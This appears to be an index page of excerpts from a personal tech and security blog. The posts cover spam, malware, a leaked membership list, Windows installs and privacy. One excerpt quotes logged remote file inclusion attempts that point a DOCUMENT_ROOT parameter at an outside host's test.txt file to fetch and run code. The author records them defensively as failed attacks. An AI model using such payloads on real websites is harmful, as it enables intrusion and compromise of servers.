Strangely Perfect

Remove Referrals Information from This Website because of Malware Like many blogs, this website has displayed the last few hits (referrals) that it’s received as a kind of ‘live’ activity recorder and a small service back to the referring website.  However, I’ve had to pull this from my front page because over the last few [...]

There’s something weird about the recent ‘leak’ of BNP members’ names.  The list is available on the Wikileaks website here: http://wikileaks.org/wiki /British_National_Party_ membership_list_and_ other_information,_15_Apr_2009 There’s currently some trouble with downloading due to server overload.  Also, people are complaining that the file is a binary Excel workbook containing several worksheets.  It’s about 1.5Mb in size.  I’ve [...]

Windows 7 Ultimate Install To say that I’m seriously impressed is an understatement! Having an MSDN subscription confers certain benefits, but for most Microsoft stuff that I have to use, it’s usually an exercise in teeth-gritting somewhere from the banal to the infuriating as I plod on through. My personal experience of Vista comes into [...]

Introduction I had an interesting referral from an external website early today.  It was, http://kexhoxonxk.iblogger.org/ iblogger.com has a decent WHOIS entry and is USA based.  However, the sub-domain bit is a bit iffy. MyBookFace.net If you follow the link, it’s immediately redirected to http://mybookface.net/ The tagline for this website is: MyBookFace is a friendly social [...]

Comparing The West and The East There is currently a world-wide flu epidemic and it’s interesting to compare the responses of various countries to it, with the historical pandemic of The Plague, i.e. the Black Death. Flu In the USA, it’s been called “Mexican Flu” sometimes quite pejoratively, especially at it’s outset and especially by [...]

Multiple Attempts to Drop Trojan on This Website Failed These are the Wassup details of the attack 69.65.41.165 2009-06-13 10:48:00 //?_SERVER[DOCUMENT_ROOT]=http://ww(…)omponents/com_frontpage/test.txt?? Referrer: Direct hit Hostname: 69.65.41.165 User Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) OS: WinVista BROWSER: IE 7 10:33:14 ->//?_SERVER[DOCUMENT_ROOT]=http://www.fox(…)com/components/com_frontpage/test.txt?? 10:34:03 ->////?_SERVER[DOCUMENT_ROOT]=http://www.f(…)com/components/com_frontpage/test.txt?? 10:34:30 ->/3099/google-treasure-chest-its-a-scam-a(…)com/components/com_frontpage/test.txt?? 10:37:43 ->/3099////?_SERVER[DOCUMENT_ROOT]=http://(…)com/components/com_frontpage/test.txt?? 10:37:46 ->////?_SERVER[DOCUMENT_ROOT]=http://www.f(…)com/components/com_frontpage/test.txt?? 10:47:59 ->/3099////?_SERVER[DOCUMENT_ROOT]=http://(…)com/components/com_frontpage/test.txt?? 10:48:00 ->////?_SERVER[DOCUMENT_ROOT]=http://www.f(…)com/components/com_frontpage/test.txt?? As [...]

WordPress User Registration Spam Last year I told how I tackled various sorts of spam hitting the website, in particular, in this post, User Registration Spam.  Even now, my main defence is SABRE, although I don’t use all the options.  This gives me the combination of flexibility, security and openness I require on this website.  [...]

The news that not only have Facebook users suffered another viral surge (previous virus report on koobface here) but also, that their data might be used forever in howsoever the sweet faced bloke in the photie wants should scare them all a bit, I’d have thought. The fact that he’s said that the data is [...]

Well it’s a sort of birthday.  As of 23:31:30 today, UNix will be 1234567890 seconds old! Google has celebrated with yet another unique graphic for the occasion.  Click on the link below for a Google search on this string: http://www.google.co.uk/search?q=unix+1234567890&ct=unix1234567890&oi=ddle Unix’s calendar started the first second after the end of the sixties.  Like all clocks [...]

Despite the best made plans and intentions, no security system is perfect. A massive recent security lapse means that (again!), the government’s continuing plans to implement ID Cards should be seriously examined. Not only have their own credentials at data security been demonstrated by themselves to be wholly inadequate (I’m thinking of the DVLA, MOD, [...]

Or How to Disable Autoruns – to Stop This Particular Infection Route This is a brief summary of what to do… Make sure you have a proper anti-virus program running NOD32 is a good one! AVG is too Kaspersky, Trend, CA are also good brands Make sure your anti-virus is current and updated.  Check like [...]

Below is the plain text of an email spam I got today.  I always view as plain text and all my messages are spam checked, in various ways.  Some POP3 stuff comes in via Mailwasher Pro, which I’ve mentioned before; other stuff I forward through gmail and use the spam filters in there, which are [...]

In an amazingly co-incidental follow up to my earlier post, Not all Pirates Win, but Most Do!,  on the very same day news was just being released that some Royal Navy ships had their NavyStar (N*) computers compromised by a virus originating from “the former eastern bloc”. Token News Links: Royal Navy warships lose email [...]

As part of my day job, I get a (extremely valuable, it must be said, for which I’m very grateful) MSDN subscription. Recently, I’ve had trouble with Visual Studio.  It used to be 2005 and is now 2008.  They use the Team Foundation Server Developer Edition.  So I decided to re-install….  oh, dear. After a [...]